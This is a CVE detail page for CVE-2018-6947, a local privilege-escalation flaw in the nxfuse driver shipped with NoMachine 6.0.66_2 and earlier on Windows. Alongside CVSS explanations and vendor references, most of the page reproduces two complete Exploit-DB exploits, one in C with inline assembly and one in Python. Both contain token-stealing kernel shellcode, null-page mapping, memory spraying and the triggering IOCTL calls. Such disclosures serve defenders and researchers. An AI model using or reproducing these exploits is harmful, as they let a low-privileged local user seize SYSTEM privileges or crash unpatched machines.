CVE-2018-6947 : Detail

CVE-2018-6947

7.8
/
High
0.83%V4
Local
2018-02-28
21h00 +00:00
2018-03-01
09h57 +00:00
CVE.org
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CVE Descriptions

An uninitialised stack variable in the nxfuse component that is part of the Open Source DokanFS library shipped with NoMachine 6.0.66_2 and earlier allows a local low privileged user to gain elevation of privileges on Windows 7 (32 and 64bit), and denial of service for Windows 8 and 10.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-665 Improper Initialization
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44167

Publication date : 2018-02-21 23h00 +00:00
Author : Fidus InfoSecurity
EDB Verified : No

#include “stdafx.h” #include <Windows.h> #define DEVICE L”\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061″ #define DEVICE2 L”\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}” #define IOCTL 0x00222014 #define IOCTL2 0x00222030 #define OUT_SIZE 0x90 #define IN_SIZE 0x10 #define KTHREAD_OFFSET 0x124 #define EPROCESS_OFFSET 0x050 #define PID_OFFSET 0x0b4 #define FLINK_OFFSET 0x0b8 #define TOKEN_OFFSET 0x0f8 #define SYSTEM_PID 0x004 #define PARENT_PID 0x140 __declspec(naked)VOID TokenStealingShellcode() { __asm{ xor eax, eax; mov eax, fs:[eax + KTHREAD_OFFSET]; mov eax, [eax + EPROCESS_OFFSET]; mov esi, [eax + PARENT_PID]; Get parent pid Loop1: mov eax, [eax + FLINK_OFFSET]; sub eax, FLINK_OFFSET; cmp esi, [eax + PID_OFFSET]; jne Loop1; mov ecx, eax; mov ebx, [eax + TOKEN_OFFSET]; mov edx, SYSTEM_PID; Search: mov eax, [eax + FLINK_OFFSET]; sub eax, FLINK_OFFSET; cmp[eax + PID_OFFSET], edx; jne Search; mov edx, [eax + TOKEN_OFFSET]; mov[ecx + TOKEN_OFFSET], edx; add esp, 0x58; add[esp], 5; ret 4; } } typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); typedef NTSTATUS(WINAPI *PNtFreeVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, PULONG RegionSize, ULONG FreeType ); int main() { HMODULE module = LoadLibraryA(“ntdll.dll”); PNtAllocateVirtualMemory AllocMemory = (PNtAllocateVirtualMemory)GetProcAddress(module, “NtAllocateVirtualMemory”); PNtFreeVirtualMemory FreeMemory = (PNtFreeVirtualMemory)GetProcAddress(module, “NtFreeVirtualMemory”); SIZE_T size = 0x1000; PVOID address1 = (PVOID)0x05ffff00; NTSTATUS allocStatus = AllocMemory(GetCurrentProcess(), &address1, 0, &size, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (allocStatus != 0) { printf(“[x]Couldnt alloc page\n”); exit(-1); } printf(“[+] Allocated address at %p\n”, address1); *(ULONG *)0x05fffff4 = 5; *(ULONG *)0x060000ac = 0x20; *(ULONG *)0x060001dc = 0x05ffff00; *(ULONG *)(0x05ffff00 – 0x18) = 1; *(ULONG *)(0x05ffff00 – 0x14) = 0; PVOID address2 = (PVOID)0x1; SIZE_T size2 = 0x1000; allocStatus = AllocMemory(GetCurrentProcess(), &address2, 0, &size2, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (allocStatus != 0) { printf(“[x]Couldnt alloc page2\n”); exit(-1); } *(ULONG *)0x64 = (ULONG)&TokenStealingShellcode; printf(“[+] Mapped null page\n”); char inBuff[IN_SIZE]; char outBuff[OUT_SIZE]; HANDLE handle = 0; DWORD returned = 0; memset(inBuff, 0x41, IN_SIZE); memset(outBuff, 0x43, OUT_SIZE); *(ULONG *)inBuff = 0x00000190; *(ULONG *)(inBuff + 4) = 0x00000001; printf(“[+] Creating nxfs-net… device through IOCTL 222014\n”); handle = CreateFile(DEVICE, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (handle == INVALID_HANDLE_VALUE) { printf(“[x] Couldn’t open device\n”); exit(-1); } int ret = DeviceIoControl(handle, IOCTL, inBuff, IN_SIZE, outBuff, OUT_SIZE, &returned, 0); HANDLE handle2 = CreateFile(DEVICE2, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); char inBuff2[0x30]; char outBuff2[0x30]; printf(“[+] Triggering exploit…”); ret = DeviceIoControl(handle2, IOCTL2, inBuff2, 0x30, outBuff2, 0x30, &returned, 0); return 0; }
Exploit Database EDB-ID : 44168

Publication date : 2018-02-21 23h00 +00:00
Author : Fidus InfoSecurity
EDB Verified : No

from ctypes import * from ctypes.wintypes import * import struct import sys import os MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 STATUS_INVALID_HANDLE = 0xC0000008 shellcode_len = 90 s = “” s += “\x65\x48\x8B\x04\x25\x88\x01\x00” #mov rax, [gs:0x188] s += “\x00” s += “\x48\x8B\x40\x70” #mov rax, [rax + 0x70] s += “\x48\x8B\x98\x90\x02\x00\x00” #mov rbx, [rax + 0x290] s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188] s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188 s += “\x48\x39\x98\x80\x01\x00\x00” #cmp [rax + 0x180], rbx s += “\x75\xEA” #jne Loop1 s += “\x48\x89\xC1” #mov rcx, rax s += “\xBA\x04\x00\x00\x00” #mov rdx, 0x4 s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188] s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188 s += “\x48\x39\x90\x80\x01\x00\x00” #cmp [rax + 0x180], rdx s += “\x75\xEA” #jne Loop2 s += “\x48\x8B\x80\x08\x02\x00\x00” #mov rax, [rax + 0x208] s += “\x48\x89\x81\x08\x02\x00\x00” #mov [rcx + 0x208], rax s += “\x48\x31\xC0” #xor rax,rax s += “\xc3” #ret shellcode = s ”’ * Convert a python string to PCHAR @Param string – the string to be converted. @Return – a PCHAR that can be used by winapi functions. ”’ def str_to_pchar(string): pString = c_char_p(string) return pString ”’ * Map memory in userspace using NtAllocateVirtualMemory @Param address – The address to be mapped, such as 0x41414141. @Param size – the size of the mapping. @Return – a tuple containing the base address of the mapping and the size returned. ”’ def map_memory(address, size): temp_address = c_void_p(address) size = c_uint(size) proc = windll.kernel32.GetCurrentProcess() nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc), byref(temp_address), 0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) #The mapping failed, let the calling code know if nt_status != 0: return (-1, c_ulong(nt_status).value) else: return (temp_address, size) ”’ * Write to some mapped memory. @Param address – The address in memory to write to. @Param size – The size of the write. @Param buffer – A python buffer that holds the contents to write. @Return – the number of bytes written. ”’ def write_memory(address, size, buffer): temp_address = c_void_p(address) temp_buffer = str_to_pchar(buffer) proc = c_void_p(windll.kernel32.GetCurrentProcess()) bytes_ret = c_ulong() size = c_uint(size) windll.kernel32.WriteProcessMemory(proc, temp_address, temp_buffer, size, byref(bytes_ret)) return bytes_ret ”’ * Get a handle to a device by its name. The calling code is responsible for * checking the handle is valid. @Param device_name – a string representing the name, ie \\\\.\\nxfs-net…. ”’ def get_handle(device_name): return windll.kernel32.CreateFileA(device_name, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) def main(): print “[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!” print “[+] Mapping the regions of memory we require” #Try and map the first 3 critical regions, if any of them fail we exit. address_1, size_1 = map_memory(0x14c00000, 0x1f0000) if address_1 == -1: print “[x] Mapping 0x610000 failed with error %x” %size_1 sys.exit(-1) address_2, size_2 = map_memory(0x41414141, 0x100000) if address_2 == -1: print “[x] Mapping 0x41414141 failed with error %x” %size_2 sys.exit(-1) address_3, size_3 = map_memory(0xbad0b0b0, 0x1000) if address_3 == -1: print “[x] Mapping 0xbad0b0b0 failed with error %x” %size_3 sys.exit(-1) #this will hold our shellcode sc_address, sc_size = map_memory(0x42424240, 0x1000) if sc_address == -1: print “[x] Mapping 0xbad0b0b0 failed with error %x” %sc_size sys.exit(-1) #Now we write certain values to those mapped memory regions print “[+] Writing data to mapped memory…” #the first write involves storing a pointer to our shellcode #at offset 0xbad0b0b0+0xa8 buff = “\x40BBB” #0x42424240 bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff) write_memory(0x42424240, shellcode_len, shellcode) #the second write involves spraying the first memory address with pointers #to our second mapped memory. print “\t spraying unitialised pointer memory with userland pointers” buff = “\x40AAA” #0x0000000041414140 for offset in range(4, size_1.value, 8): temp_address = address_1.value + offset write_memory(temp_address, 4, buff) #the third write simply involves setting 0x41414140-0x18 to 0x5 #this ensures the kernel creates a handle to a TOKEN object. print “[+] Setting TOKEN type index in our userland pointer” buff = “\x05” temp_address = 0x41414140-0x18 write_memory(temp_address, 1, buff) print “[+] Writing memory finished, getting handle to first device” handle = get_handle(“\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”) if handle == STATUS_INVALID_HANDLE: print “[x] Couldn’t get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061” sys.exit(-1) #if we have a valid handle, we now need to send ioctl 0x222014 #this creates a new device for which ioctl 0x222030 can be sent in_buff = struct.pack(“<I”, 0x190) + struct.pack(“<I”, 0x1) + “AA” in_buff = str_to_pchar(in_buff) out_buff = str_to_pchar(“A”*0x90) bytes_ret = c_ulong() ret = windll.kernel32.DeviceIoControl(handle, 0x222014, in_buff, 0x10, out_buff, 0x90, byref(bytes_ret), 0) if ret == 0: print “[x] IOCTL 0x222014 failed” sys.exit(-1) print “[+] IOCTL 0x222014 returned success” #get a handle to the next device for which we can send the vulnerable ioctl. print “[+] Getting handle to \\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}” handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”) if handle == STATUS_INVALID_HANDLE: print “[x] Couldn’t get handle” sys.exit(-1) #this stage involves attempting to manipulate the Object argument on the stack. #we found that making repeated calles to CreateFileA increased this value. print “[+] Got handle to second device, now generating a load more handles” for i in range(0, 900000): temp_handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”) #coming towards the end, we send ioctl 0x222030, this has the potential to bluescreen the system. #we don’t care about the return code. print “[+] Sending IOCTL 0x222030” in_buff = str_to_pchar(“A”*0x30) out_buff = str_to_pchar(“B”*0x30) windll.kernel32.DeviceIoControl(handle, 0x222030, in_buff, 0x30, out_buff, 0x30, byref(bytes_ret), 0) #finally, we confuse the kernel by setting our object type index to 1. #this then points to 0xbad0b0b0, and namely 0xbad0b0b0+0xa8 for the close procedure(???) print “[+] Setting our object type index to 1” temp_address = 0x41414140-0x18 write_memory(temp_address, 1, “\x01”) #The process should now exit, where the kernel will attempt to clean up our dodgy handle #This will cause ….. if __name__ == ‘__main__’: main()

Products Mentioned

Configuraton 0

Nomachine>>Nomachine >> Version To (including) 6.0.66_2

Configuraton 0

Microsoft>>Windows_10 >> Version *

Microsoft>>Windows_7 >> Version *

Microsoft>>Windows_8 >> Version *

References

https://www.exploit-db.com/exploits/44168/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.nomachine.com/SU02P00194
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/44167/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.nomachine.com/SU02P00195
Tags : x_refsource_CONFIRM
https://www.nomachine.com/TR02P08408
Tags : x_refsource_CONFIRM
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.